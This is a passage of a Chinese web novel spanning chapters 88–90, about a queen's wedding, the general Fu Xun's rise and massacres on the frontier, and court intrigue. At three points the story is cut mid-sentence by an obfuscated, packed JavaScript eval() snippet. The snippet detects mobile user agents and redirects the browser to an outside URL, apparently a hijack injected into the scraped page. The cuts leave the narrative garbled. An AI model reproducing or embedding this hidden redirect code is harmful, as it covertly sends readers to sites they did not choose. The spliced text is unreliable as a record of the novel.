她右手压住左手、平举到胸前,走过庆贺嘉礼的列国使臣、走过分列两行的元氏宗亲和文武百官、走过排在殿前和玉阶上黑压压的侍卫和宫人,在天地的见证下,就那样一步又一步,走向丹陛尽头的高处不胜寒。 走到玉阶的顶端后,元旻牵住她的手,二人携手站在至高的位置,远眺这锦绣江山。 鼓乐再鸣,君王与王后率元氏宗亲及文武百官,徒步前往东南角的太庙,祭告天地祖宗、历代忠烈。 . 勤政殿西南角,铺双层翠色地毡,搭设青布幔为屋,是为青庐。 奄奄黄昏后,青庐内外灯火通明,他们在宗亲命妇的簇拥下进了帷帐,夫妻交拜、共牢而食、合卺而饮。 再各自剪下一绺发丝、绞缠作一股,珍藏于锦盒。 礼成,宾客俱散,元旻也去了隔间沐浴更衣。 舜英松了口气,忽然有些手足无措。她今天一直很紧绷,生怕自己只学了几天的速成仪态,在如此重大的场合上丢脸。 忙碌了一整天,惫懒下来就开始神思恍惚,不断在心里反复问自己“这就成婚了?”得到几遍肯定的回复后,露出一丝如释重负的笑意。 勤政殿地下挖的有火道,寒冬腊月早已将炭火烧得旺旺的。青庐内温暖如春,三叠云母屏风后传来一股梅香,熏得温暖而甜腻,却仍令她精神一振,忙疾步绕到屏风后。 一对雪白的落地大花瓶,插着数十枝腊梅,星星点点如碎金。 没有胭脂色红梅。 她转头看向窗外,灯光连缀成一片茫茫昏黄,天空浓黑如墨,没有月亮。大片大片洁白雪花飘落而下,被暖黄灯光熏染、更显寂寥,轻盈无声挥洒在半空、地上,天地间很快积成皑皑浅白。 她有些遗憾,以后怕是再看不到月亮、也看不到红梅和芙蕖。 又有些庆幸看不到,眼不见心不乱。她唇角扬起,似是释然地笑了,打定主意——往后再不看月亮、红梅和芙蕖。 她兀自盯着窗外出神,春羽已领着宦官进来,抬来巨大的浴桶,依次将热水倒进去。 然后几个女官进来,分别替她卸头冠头饰、拆发髻、热水覆面洗净铅华,紧了一天的头皮和闷了一天的脸皮都松快舒畅了。接着,她们开始替她褪去吉服、中单、亵衣亵裤…… 热腾腾的水汽混着清甜的素馨香,氤氲成温热的雾霭,熏得她脸红耳热,微烫的水浸得她四肢百骸都通畅了,正筋骨酥软地合目假寐,春羽在屏风后通报:“娘娘,陛下来了。” 然后是元旻的声音:“都先下去。” 她感觉无数道寒意直冲脊背、四肢和天灵盖,心底默念着“开枝散叶,宗庙传嗣”,挤出微笑,慢吞吞从浴桶出来,披上寝衣,埋着头转过屏风,然后不偏不倚撞进一个怀抱。 她身躯莫名僵住,奇异的陌生感和窒息感裹得她不能呼吸,手脚不知该往哪儿放,移开目光不敢直视他,头埋得更低。 “阿英,我们终于是结发夫妻了。”元旻低笑了声,托住她下颌抬起,目光灼热而急切、扫过她表情凝固的脸,在她全身上下打量。又慢慢抚过她的寝衣领口,往外扯去。 她垂眸瞥向自己身躯,心里涌出几分侥幸的期许:洁白肌肤纵横交叠无数新伤旧疤,颜色比之前还略微加深,看起来十分狰狞——她前些天特意用药水浸过。不同于那晚月色朦胧,今宵青庐灯火辉煌如白昼,将每一寸狰狞丑陋照得纤毫毕现。 全然没意识到,自己身躯正不受控制地微微战栗。 “别怕,我这次轻点,不会像上次那样疼。”他柔声说。 他不提还好,一提起,她顿时觉得四肢百骸都撕裂般剧痛,胃里止不住翻涌,想把身上皮肉一块块割下来。她忽然意识到在自己走神,忙心神一凛,回想教习姑姑的叮嘱,深吸一口气,敛衽施礼、垂下眼眸,改了称呼恭声道:“臣妾拜见陛下。” . 永平一年的除夕,是冯姮有生以来过得最踏实的一个年。 她这辈子一直在熬,也很擅长熬。 熬到十八岁,脱离父汗的掌控、远嫁昇阳;熬到征和二十年,熬死合伙欺负她的先王和宠妃;熬到凤鸣四年,逆王伏诛、亲子即位,事母至孝、晨昏定省,随她背井离乡来到昇阳的同族远支蒸蒸日上。 永平一年五月,疼她的十二哥过世,她悲不自胜,但接踵而至的喜事,飞速冲淡了她心中哀痛。 乌桓之战大捷,与 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14032952|148138||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 十二哥争斗多年的冯建被打得毫无还手之力; 亲侄子冯彬娶了元昙——翊国适婚女子中身份最高的一位,等同于得了翊王支持; 年末,她那执拗儿子终于得偿所愿,娶了她的养女为王后。起初她十分膈应,总感觉违礼背伦,但昭王赐婚在先、夫妻之实在后,转念一想这二人并非血亲,膈应着膈应着也习惯了。 紫极殿的除夕家宴热闹非凡,元氏三代以内的宗亲济济一堂。 冯姮和郑锦珠的座位挨得近,两个从最初那点同为远嫁人的同病相怜,同舟共济十九年,如今已是无话不谈的密友。 元瀚海等几个宗室耆老,正喝得酒酣耳热,对诗联句不亦乐乎。 元晞、姜嫣老夫老妻,元晞正与承陵承赟兄弟辩论着什么,姜嫣很贴心地给他倒了杯酒润喉、又喂给他一块热糕。 元昙、冯彬并肩坐着,元昙一向娴淑内敛,对新婚夫婿也不假辞色,冯彬却毫不在意,一直笑吟吟地替她剥虾拆蟹剔鱼刺,又叮嘱宫人将她面前的酒热一热再端上来。 元琮夫妇一人举一个酒樽,正在殿中兜着圈子祝酒。 元璟一脸饶有兴味,目光在殿中各处逡巡,看看这个瞧瞧那个,唇角一丝促狭的笑。 听说元琮的长子元晢要娶荣国的大公主了,又多了一门有力的姻亲。 冯姮笑逐颜开看着满堂欢声,忽然想到缺席的那个人,有些黯然、有些担忧。十四年来,元晴极少参加阖宫家宴,似乎完全体谅不到她的想念之心。 . 乱云低薄暮,急雪舞回风。 元晴将风帽拉紧,又将风领扯起来捂住口鼻,刺骨的朔风仍夹着雪粒往领口、袖子里钻;紫菀有样学样把自己捂紧实,小脸冻得通红,小嘴却在风领后叭叭说个不停,看起来比元晴还活泛些。 “师姐,咱们熬得住,老先生六十多岁了,不知受不受得了。” 元晴叹了口气:“本打算过了龙骨关再投店,这场雪来得太急了。” 马蹄陷在积雪里,步履沉滞,元晴怕踩到坚冰会折了马蹄,于是下马步行,又从包袱里拿出一件玄狐裘递给老者。 紫菀乌溜溜的双眼骤然睁大:“师姐你有这件好东西,怎不早点拿出来?” 元晴瞪了她一眼:“就只一件,你穿还是我穿?” “当然是……”紫菀噎了一下,笑嘻嘻地说,“当然是岁数大的穿。” 老者连连推拒,元晴在他快被冻僵的时候,强行把狐裘套在了他身上,又手搭凉棚看了看风雪漫天的龙骨关。 “我先去探探路,若半个时辰后还没回来,你们两个就原路折返去找翊军哨所,回上阳郡等我。” 紫菀注视着她煞白的小脸、冻得发紫的嘴唇,正酝酿着如何劝她,只听人沸马嘶,大雪中缓缓走来一列骑兵。 为首的将领一袭玄色貂裘,身披银灰披风,乌发一丝不苟地束起、用银冠绾好,剑眉星目、笑靥如花,正是苻洵。一见他们便遥遥下了马,步行而来。 紫菀忍不住嘀咕:“师姐,怎么哪儿都有他?” 元晴却喜笑颜开:“咱们跟他走,无论如何今晚不必受冻了,尤其是老先生……” 说着话回身看去,蓦地一惊。 “老先生呢?” 紫菀顺着她的目光也回头看去,只见雪地上只剩那匹陷在积雪中的马,空荡荡的马背上搭着黑狐裘,蓝衣老者已杳无踪迹。 两人无暇细想,苻洵已走到她们身前,单膝跪地抱拳道:“末将游骑将军苻洵,奉陛下之命,来龙骨关接应两位神使。” 88. 蛰伏 上元佳节,苻洵入宫赴家宴出来,郎琊牵着套好的马车等在西安门外,恭声说:“小夫人说夜里冷,怕主子喝完酒骑马回去被风吹着了,特吩咐奴才来宫门等。” “堂堂白袍卫大统领,如今做些牵马坠蹬的事,委屈你了”,苻洵悠悠坐上马车,“你们且先忍耐几年。” 郎琊驱着马车走出了快两条街,才坦然地笑道:“良禽择木而栖,主子是大才,兄弟们都愿意跟主子奔前程。” 两年前,从空有虚爵的纨绔子弟,到执掌王城的五城兵马司大统领,苻洵用了不到四个月。 去年上半年,从散骑校尉、游骑将军、渝安水师提督到上将军,苻洵用了不到五个月。 木秀于林、风必摧之,朝中猜忌之心日渐沸腾,去年七月底,处于风口浪尖的苻洵果断辞官。 去年十月中旬,一股约五万人的北宛骑兵,在乌桓之战中被宣庆骑兵打散,沿乌兰山一路向西,途中遭遇宣正浩率领的朔宁府大军。却并未被剿灭,反被一路往西撵到了伊河东岸,趁着天寒地冻从冰面跨过伊河,再一路南下,成为英平郡以北肆掠的匪患。 “五万散骑兵,对于大翊铁骑还不够一碟下酒菜”,郎琊重重叹了口气,“宣正浩这招祸水西引,妙!” “眼下不是计较这些的时候”,苻洵的笑容晦明莫辨,“等平虞道解冻了,咱们上北边狩猎去。” 苻洵作战神出鬼没,对手几乎只能被动挨打,所以喜欢把杀敌称作“狩猎”。 因伊河上冻,英平郡主要兵力都要用在防备翊国临梁、上阳两郡,不敢贸然倾巢出动去剿匪,因此被滋扰得不胜头痛。许多人开始怀念用兵疾如闪电、擅长以少胜多的苻洵,朝中起复他的声音日益高涨。 当时,苻洵辞官正中苻沣下怀,可人走得久了,苻沣开始念及往日的情分,心里涌出几分愧疚——毕竟从头到尾,苻洵从未做过于国、于他有损的事。 所以,朝中奏请起复苻洵的声音一多,便立即着人去寻他回来复官。 这一寻不打紧,苻洵就跟消失了一样。 直到冬月中旬,翊国解除长流川封禁之后,苻洵才对兄长去信一封。解释说近来翊国平南,自己被封在维阳城数月、音讯不通,又说自己无意庙堂,恳求兄长体谅自己将为人父之心,允自己留在维阳照顾锦瑟。 他如此顾念旧情、知冷知热、体恤家小,令苻沣的愧疚又深了几分,之前因朝中流言蜚语生出的猜忌之心,霎时荡然无存。 恰逢其时萧王后提议,不如借年节将苻洵和锦瑟一并召回,一家人好好过个年、缓和缓和兄弟感情。 腊月十八,在外游荡了小半年的苻洵,终于慢悠悠地回了灵昌。却又以妾侍需要照应为由,陈情奏请继续赋闲,苻沣三宣四召才勉强答应上朝会觐见。 拖到年前最后一次大朝会,百官众口一致,奏请让苻洵官复原职,却被他三推四拒绝,末了末了,只要了个四品的游骑将军,说是不过几支北宛散骑,不必劳动朝廷大员。 “相看白刃血纷纷,死节从来岂顾勋”,朝堂之上,苻洵神色凝重,说出的话沉稳有力、掷地有声,“臣弟不惧生死、不爱功名,只愿替王兄守好这大好河山!” . 苻洵回到洛川别苑,锦瑟匆匆迎了上来,往前堂使了个眼色:“妾身愚笨,还请公子定夺。” 亮如白昼的灯火下,前堂静静坐着一名年轻女子,身姿袅娜若新柳、尽态极妍,起身对他敛衽一礼:“卑职天璇,奉首领之命,为将军送来回礼。” 桌上摆着两个精致的木匣。 打开那个略小的,扑鼻而来浓郁的甘甜木香,是一块巴掌大的上品龙涎香;打开那个略大的,宝光烁烁,柔软的白绸底上放着色泽纯净的珊瑚、东珠、玉料、翡翠料、红玛瑙料、石榴石等等不一而足,琳琅满目。 苻洵怔怔看了许久,唇角上扬,温声道:“多谢王后殿下,请姑娘代在下祝贵国王上王后百年好合、螽斯衍庆。” 半晌之后,郎琊看着天璇走远,称赞道:“主子当真神人也,褚娘子如约赠礼,可见她并未起疑心。” “因为她干净、仁善,想不到人心能有多恶”,苻洵的笑容苦涩落寞,捧起那块龙涎香,阖眼轻轻嗅着,神情落寞而温柔,“并非故意欺瞒,实在对她不住,若以后还有机会,定当加倍弥补。” 锦瑟站在门外,等他们说完事情后,才进去柔声请示:“公子,今晚宿哪个院子,妾好去安排?” “这么晚还不去歇着”,果然不出她所料,苻洵摇了摇头,直接走向主屋,“还是去你那儿吧。” 苻洵看似轻佻放荡,实际对女色并不上心。府中妾侍七人,除了她是苻洵亲自取的名,其余六个,苻洵连她们谁是谁都分不太清。 洛川别苑扩建后,苻洵专门在屋后划出一排院子,安置那些王后和同僚送的妾侍。实际上,也只有王后送的那两个,他偶尔去坐一坐、吃个饭以示看重。 其余时间,他都睡在主屋外间那张软榻上。 宫闱宗室都传闻苻洵品味低下,不肯正正经经娶高门贵女,只一味宠爱妾侍、沉迷女色,风流放荡之名更加不堪。 可他睡觉就只是睡觉。 起初锦瑟不知他纳那么多妾作甚,后来跟郎琊慢慢学了些为政之道,才知道风光如他,也活得如履薄冰。 一个位高权重、手握重兵的武将,不染酒色财气、无不良嗜好、无家小在京,孤零零领兵在外,对于国君来说,实在太过危险。 苻洵不喜卧房有人值夜,所以他每晚都亲自在榻上铺床叠被、或是给她端茶倒水、或是半夜去厨房拿些点心过来……待她又体贴又敬重,就好像她真的是那位遥如天边月的女子。 锦瑟看着他熄了灯,长吁一口气,扭了扭僵直的腰,带着不知所措、征询地盯向他。 “也只能如此,明天你还是启程去维阳,那边我早有安排”,苻洵瞥了一眼她隆起的小腹,温声道,“过了二月二,我又要带兵出征了,一去不知多久。你回来后自己当心些,有事别怕麻烦,尽管使唤姚晟多给我传信。” 锦瑟有些失落,却还是轻声道:“是。” 苻洵又说:“这一宅子繁杂庶务,劳烦你继续打理。王后赐的那两个,有什么好的先紧着她们,若是太出格,你写信跟我说。王后是三哥心尖上的人,她若不好、三哥会心疼,你多让着她些……委屈你了。” 堂堂王后,管教臣子的妾侍算什么委屈,但这话锦瑟不敢说,于是问:“其他几个呢?” 苻洵淡淡道:“你住主屋,她们住偏院,你说呢?” 想了想又说:“你这些日子少抛头露面,王宫更是进都不要进,一切等我回来再说。” 锦瑟不明所以,也不打算问,反正他自有道理。 于是,试探着将头靠向他的肩膀,柔声道:“妾都听公子的,公子一定要当心,战场上刀剑无眼,妾每每想起来都……” “我哪次出征没有平安归来”,苻洵在黑暗中不动声色一让,轻轻推开她,“不必担忧,踏踏实实在这待着吧。” 一年三百六十日,多是横戈马上行。这便是苻沣即位之后,苻洵的生活。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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元璟摸了摸鼻子,觉得这话不太好对侄女说,于是不再同她分辩,只叹了口气,转身上马离去。 . 鹤华公主府后院有一片月季花圃,此时正值盛花期,红的有软香红、紫燕飞舞,粉的有玉玲珑、淡云微雨,金的有鹅掌金波、飞阁流丹,白的有蓝田碧玉、玉液芙蓉。争奇斗艳,馥郁盈府。 上元宫宴后,冯彬时常坐在花圃前发呆,眼见它们鼓新芽、展嫩叶、舒柔枝、长蓓蕾,再万花群开。 他觉得元昙就像这满园月季,又美又香,靠得近了却全身是刺。 已经三个月了,他的新婚妻子依然杳无踪迹。 去年九月底,他在质子府接到赐婚圣旨后,一连数日都神思恍惚,生怕自己在做梦。那姿容稀世、兰质蕙心的高贵女子,那个他一遍遍梦到、却在梦中都只敢远观的仙女,居然愿意下降给他。 随后,冯太后和宗正寺开始操办他们的婚事,敕造公主府,纳彩、问名、纳吉、纳征、请期、亲迎,六礼顺利得出奇,一遍又一遍告诉他这不是梦。 新婚夜,他们没有圆房。 他看着坐在床边瑟瑟发抖的她,心里突然就因这一点不完美而踏实了,很自觉地去打了地铺。 没关系,能天天见到她,同桌吃饭、同室而眠,偶尔还能牵牵她的袍袖、触到她的指尖,他已经很满足了。 就在他以为,他们可以一直这样平淡如水过下去时,却意外陡生。 89. 嗣子 除夕宫宴,觥筹交错、推杯换盏,他们都喝得醺醺然,回公主府时元昙已不胜酒力,被冯彬搀进了卧房、抱回床上。他听见她说口渴,便接了杯温水、搂着她喂下。 这是冯彬婚后离元昙最近的一次。 她就着他的手喝完水,紧紧攥住他袖子,一瞬不瞬仰视着他,唇角漾着他从未见过的甜笑,带着不自知的娇媚:“其实我最喜欢你的眼睛,亮亮的、跟星星一样。” 冯彬相貌只算得上清秀,最好看的当数这对剑眉星目,听她这样说,蓦地心绪翻涌、卷起一股从未有过的妄想。 与她怔怔对视片刻,他吻了上去,而她回抱住了他,任他宽衣解带、厮磨纠缠,甚至在敦伦时还会温柔地回应他。 上元夜成了他们迟到的洞房花烛夜。 次日早晨,一切都变了,清醒之后她脸上的娇媚消散无踪,神情又羞又气,却没有责怪他。只默默梳妆更衣,早饭都没吃就骑马去了洛京。 他跟了一路,先是不停赔罪想让她原宥自己,后来甚至想让她骂自己、打自己一顿出气。可她从头到尾一言不发,只是眼神冰冷地策马向前,视他为无物。 比杀了他还让他难受。 他不知自己做错了什么,思来想去,最大的错便是尚了高不可攀的她吧…是时候忍痛割舍了,去桐花别苑找丞相谈谈吧。 刚下定决心,却听身后传来柔婉的声音:“这样在白地里坐着,不晒么?” 冯彬难以置信地转身,看见元昙刚从一辆安车下来,穿的是初见时那身胭脂红绣银梅花的曲裾裙,渐行渐近,幽兰馨香盈鼻。 元昙走近他,折了一朵软香红凑到鼻尖轻嗅,人比花娇。 “这花圃打理得真好”,她吩咐跟在身后的侍婢,“这段时间,每天剪些好的送我房里插瓶。” 这段时间?她是要在公主府长住了? 冯彬好不容易下定的决心,顿时溃不成军,试探着问:“我对这花圃颇熟,每天晚膳剪下来带回卧房?” 元昙嫣然一笑:“好啊。” 晚膳时,元昙侃侃谈起碧宁书院新收的弟子,最小的那个才五岁,如何聪慧、如何玉雪可爱,又说要他们的孩子也那样讨喜就好了。 冯彬踌躇半晌,鼓起勇气说:“孩子是要敦伦才会有的。” “那你以后要轻些”,元昙忽然满脸绯红、羞得不敢抬头看他,“上次太痛了,好几天没缓过来。” 冯彬一愣,心底蓦然涌出一股狂喜。 原来她是因为这个才生气,不是因为他的冒犯…… . “阿昙有孕了”,冯姮慢条斯理地把海棠花插进白瓷瓶里,对冬雪抱怨,“不是早跟冯彬说了,阿昙还小,跟个花骨朵似的,自己身子还没长全,就要当娘了。” 舜英坐在一旁,眼观鼻鼻观心——她也没喝避子汤。 跟别家催着多子多福、三年抱俩的长辈不同,冯姮更注重细水长流。舜英刚与元旻成婚时,冯姮听春羽说她极难有孕,一边从御医署宣了三个大夫围着她调理,一边找人配了最温和的避子汤。还劝她莫要着急,往后日子还长,调理好了再慢慢要孩子。 经过一年多的磨合,朝中官员已逐渐用熟了,今年刚开春,恩科又选出了一批文官,元旻再也不必像去年那般通宵达旦连轴转了。 他本来就体魄康健、精力充沛,这一闲下来,多余精力用到哪儿了,不言而喻。还从不许她喝避子汤,急于诞下嫡子。 沉稳端肃的堂堂国君,癫起来比以往更一言难尽。 其实她的精力也很充沛,居中宫料理庶务的同时,还在集贤殿召了一批未成年的、天赋高的将门子弟,破解天璇分批从滬南送回的军阵图。 至于为什么是未成年的将门子弟…… 苻洵历次征战,给人的感觉只有俩字——诡谲。元璟说的没错,他就是天生的战神。不少颇负盛名的老将都在他手底下吃过亏,而且他打仗从不参照任何兵书,全靠天赋直觉。 老将久历沙场,对上他时反会被经验影响判断。而能与天赋对抗的只有天赋,而且是未被经验约束过的天赋。 起初的破解进展极慢,那些军阵天马行空、毫无规律可言。 直到有一天,元璟来集贤殿找她说事,无意瞥见了展在殿中的军阵图,闲闲地提醒她:“有一种学问叫奇门术数,你去民间找几个人来一起看?” 永平二年五月,在翊王元旻鼎力支持下,褚王后组建太尉府下辖部门“九功馆”,馆中成员不止天赋高的将门子弟、奇门术数师,还有毒理师、医师等等杂学不一而足。 永平二年九月,萧王后顺利诞下嫡子,元晴从灵昌归来,九功馆星象、堪舆这几块空白补齐。 . 钻研越深,舜英越是惊心,无法想象,苻洵是怎么在短短几年内,能精通如此多的杂学、并糅合运用得炉火纯青。 “苻洵是圣女之子,而且天份远胜其母。得了一定契机就会觉醒,然后自能与地脉万物互相感应,奇门术数、堪舆、毒理,他根本不用花大功夫去学,只要触类就会旁通。” 元晴提起酒壶,仰头灌下一口:“这便是天衍四九、人遁其一,这便是荧惑之辉聚成的煞星昭明。” “要是我早些嫁给王上一致对外就好了”,舜英苦笑,“至少滬南不会死那么多人。” 说着,拔掉手中酒壶的塞子,提起来打算喝。 “你就算了,还是喝茶吧”,元晴伸手拦住她,抢过她手中酒壶灌了一口,“你如今会这样想,只因为你已是经历过滬南连环灾殃的你。” “若无此大灾,你还是会和去年一样,在个人情感和家国大义之间不停挣扎,在自由和责任之间反复踟躇。” “四哥、你、苻洵,你们三人的命运本就是环环相扣、相互依存的。” 舜英蓦地想到娘亲、想到郭洋、想到奚兰衣,似有所悟:“命运之所以为命运,就是哪怕知晓了结果,再回到当初,也做不出更好的选择。” 忽地神色一滞:“若我即使经历了滬南的重重灾殃,仍不愿嫁给王上呢?” 元晴摇头笑了,笑容冰冷,眼神恻隐:“只要你随四哥回昇阳、并助他夺位成功,就已经没得选了。” 舜英悚然一惊,难以置信地看向元晴。 “你还是不太清楚他的德性,他打小就十分固执、又有的是手段”,元晴神色肃穆,眼里带着无奈,“何况如今是一国之君,既看中了你,虽然愿意赐你一定自由、也愿意等你一段时间,却绝不会无限制地等下去!” 她压低声音:“你恐怕不知道,四哥南下之前,就已经让宗正寺操办婚仪。” 舜英又是一愣,与她对视半晌终于平静下来,笑了笑:“无妨,其实都一样。” “所以,你成立九功馆、得一国之力支持与苻洵抗衡,也算是命中注定”,元晴默了片刻,长舒一口气,笃定地笑了,“万法皆空、因果不空,你做的每个决定,都会推着事情往好的方向发展。” 她一手拎着一只酒壶,左一口右一口,喟然长叹,眼圈微微泛红:“曾有一挚友,对我信赖无比,我那时遍寻克制凶星之法,以至于病急乱投医。她听进去了,对上狡狯的苻洵,无异以卵击石。” “后来我赶紧叫她收手,不希望她有事,可若非我出现,她在去年八月就病逝了。而她的命运,终将走上既定的轨道。” “此乃我平生之悔 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14049923|148138||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' !” 舜英知晓她说的是谁,只见一向嬉皮笑脸的她,迎着夜风流下两行清泪。 半晌,元晴又说:“苻洵已有两子,长子自不必说。九月份那会儿,我见到他府里婆子四处讨碎布制百家衣,据说又是个小公子。” 舜英点头道:“听往洛川别苑送蔬果的人说,府里近期常要几筐酸杏,怕是又有妾侍怀孕。” “从子嗣来说,苻沣不是他的对手”,认真盯着她双目道:“四嫂,帮我跟四哥打个掩护,我想借摇光和她手底下那上百号能人用用……” 舜英笑了笑:“摇光的轻身工夫还没我好,灵昌我熟,我跟你走一趟。” 元晴唇角扬起促狭的笑:“接下来几个月,你哪都别想去了。” 舜英正不解其意,忽觉头晕目眩,胸腔涌起一股沉闷的恶心。她不知为何,莫名心一沉。 次日,景和宫传出喜讯,褚王后有喜。 九功馆是去不成了,那天刚走到春秋道就被褚钧良劝住:“就算陛下愿意放娘娘出去,太尉府也不敢放你进。” 也对,王后嫡嗣事关国体,若有个闪失谁都担不起责。 所幸元晞晓得她放心不下,让夫人姜嫣每十天进一次景和宫,跟她说说近期进度。 九功馆已走上正轨,国尉元晞亲自敦促,丞相元璟也不时去看看。一时之间,九功馆竟成了仅次于北疆垦荒的军国大事。 当然不只因为九功馆是褚王后组建的,而是这大半年,荣国的发展突飞猛进,虽然一系列举措都由苻沣和景樊主导,可大家都嗅到了不寻常的气息—— 所有举措的前提,都有一场苻洵大获全胜的征战。 三月中旬,苻洵率两千精兵大败英平郡以北的五万散骑,将所有战俘砍成重伤、战力全失,圈起来垦荒。 五月初,西羌诸小国再度联军进犯,苻洵带兵从戎陵山脉西端孤军深入,从后包抄入侵大军,斩首五万。在羌水以西筑起无数京观,并选择性地砍伐林木、布作迷魂阵,荣国西防线始成。 十月到腊月,苻洵率兵一路北上,屠尽从佐革草原到伊河以南的狄、夷、月等异族共三十七部所有青壮男丁,犁庭扫闾,设郅阳、北卢两大郡。 并驱赶异族三十七部数十万老弱妇孺为奴隶,一部分垦荒,一部分沿伊河以南开始砌筑边墙。 这一举措若成,荣国的国境线将北推千里,疆域面积增大一倍。与北宛隔伊河、乌兰山南北相望,与翊国的朔宁、临梁、上阳三地隔伊河东西相望。 苻洵虽仍旧领的是四品游骑将军之职,苻沣给他的实际权限已与太尉无差。 荣国丞相景樊,紧随苻洵征战的步伐,主理垦荒、迁居民北上、郅阳北卢两郡吏治等庶务。及至九月底,邻近英平郡的郅阳郡已垦出数万亩耕地。 荣国发展迅猛,翊国也没闲着。 永平二年八月,元旻诏令上阳、临梁两郡增两倍岗哨,并加高加固沿河堡垒。 十月,太尉府征新兵十万,分给上阳、临梁两郡增兵。 同时,元旻诏令金州镇南公府和滬南河州刺史府,将首批木石军阵投入山中试用,那是集九功馆之力破解的九霄山所有木石阵,在倒转更改之后、再糅合星象术改良之后的阵法。 元晴先上凰羽寺征询大祭司、再入蛮疆拜会山鬼,确认了,仅有少数几条“道”是昭明煞星也无法掌控的,其中之一,便是星象。 冬月底,苻沣之长女苻萱出阁远嫁昇阳,为宗室子元晢正妻。 腊月初,鹤华公主元昙诞下一名男婴,婴儿因早产体弱、暂无大名,乳名兕儿。 永平三年五月,褚王后在景和宫诞下一对双生子,男名承祎,女名承徽。 90. 针锋相对 永平三年三月,戎陵山冰消雪化,苻沣在苻洵的带领下,北上去郅阳、北卢两郡视察。 冬季的天寒地冻、春季的流行风寒,饥寒交迫的北宛战俘和三十七部奴隶死伤过半。苻沣睹之不忍,悲叹如此草菅人命之举,必将天怒人怨、人神共愤,招致天谴,致使苻氏国祚不长。 苻洵并未当面拂逆,半晌之后,待苻沣心绪平静,调转马头向东,指向伊河东岸的大翊。 “千载之前,大翊仅七千羽民渡海而来,下无立锥之地、上无片瓦遮身,它翊国不南征北战、不攻城略地,是如何从莱东沿海弹丸之地,扩张为蜃洲第一大强国?” “他们的祖宗征战杀伐、草菅人命,方得如此稳固的江山社稷。怎么大国做久了,便忘了自己祖上是怎么尸山血海、开疆拓土了,倒反过来教化四方,讲什么仁义道德?” “哪个国家兵强马壮了,不侵吞别国、不屠戮四方?” “哥哥,你该不会真的相信,咱们与翊国一纸盟书、一场联姻,便能保千秋万世之太平吧?龙骨关再高,挡不住翊国百倍兵力;阜门峡再窄,抵不过翊国三万水师。” “这天下,从来都是强则强、弱则亡!” 这是苻沣登基之后,苻洵第一次叫他“哥哥”。 苻沣被他一番言论震得半晌无言,沉吟许久,不得不承认,这些话虽然听来偏激狠戾,却不无道理。 他的目光越过伊河滔滔激流,从北移到南,依次是东西走向、长达千里的乌兰山脉,南北走向、长达八百里的临梁山脉。伊河便是贴着乌兰山以南、往东流去,到了宁梁山西麓转折向南,到了上阳郡、龙骨关之间再转折向东。 而那高逾千丈的临梁山东麓,紧贴着更长、更高的地皇山脉,两道山脉之中驻着大翊朔宁府、临梁郡数不清的轻骑重骑,组成那个国家伊河以北坚固的西防线。 视线继续南移,再目力不能及之处、伊河以南,蓥山以东、摩云群山、戎陵山南麓之中,驻着大翊镇南公府数不清的步兵、武卒。 再掉头向北,目光越过荒芜巍峨的千里乌兰山脉,那里有北宛大大小小几十个部落,良驹千万、铁矿云集、全民皆兵。 继续转头往西,万江之源的西羌,几十个小国神出鬼没、时不时举兵犯境。 强敌环伺,虎狼屯于阶壁,谈何因果? 一轮圆日正缓缓坠下,耀眼的光灼得苻沣头晕目眩。下意识看向身后的苻洵,却只见苻洵目光炯炯、直面残阳,晚霞照在他瓷白的面庞上、银色的铠甲上、素白的披风上,映出血一样的红。 苻洵单膝跪地,抱拳请求,字字掷地有声:“请王兄允我,背一世之骂名,建万代之功业!” 良久,苻沣缓缓开口:“幼弟一番肺腑之言,令为兄醍醐灌顶,朕准奏!” 同月,苻洵被任命为威远大将军,节制英平、郅阳、北卢三郡兵马,领旨开始在北卢郡敕造威远将军府,北御大宛、西扼西羌诸国。 同年,苻洵从北卢郡一路西行,击败沙漠里大大小小二十余个国家部落,卢卡、大萨拉、千弥、乌兹、月山……等国皆臣服于荣,为其藩属,年纳岁贡。 苻洵是史上第一任威远将军,也是唯一的一位。威加四方,斥地远境,是为“威远”。 . 同一时刻,灵昌城长秋宫内,萧玥娘正面临着此生最艰难的抉择。 苻沣跟着苻洵出发之后不久,小苻隽就病了,一开始只是起疹子,请了许多御医也治不好,后来突然喘咳不止、浑身滚烫、不断吐药,哭声也弱了下去。 这场病来势汹汹,传信昇阳求助元晴已来不及。就在此时,洛川别苑侧室锦瑟前来献药。 说到药,她又回忆起去年春天那场时疫,好几个老太妃太嫔都染病了,北宫被封。孟太后虽未染病,她作为王后却不能不管其他庶母。于是带了些人,入北宫侍疾。 说来奇怪,她侍疾快半月却未染病,只是夙兴夜寐、不免困倦。 有一晚,终于熬不住,在偏殿沉沉睡去。睡到半夜,突然一个激灵、莫名其妙醒了,听到正殿方向有人声。 她有些怕,不敢直接过去,只蹑手蹑脚走到月门前,探出头窥视,然后就看到了噩梦般的一幕。 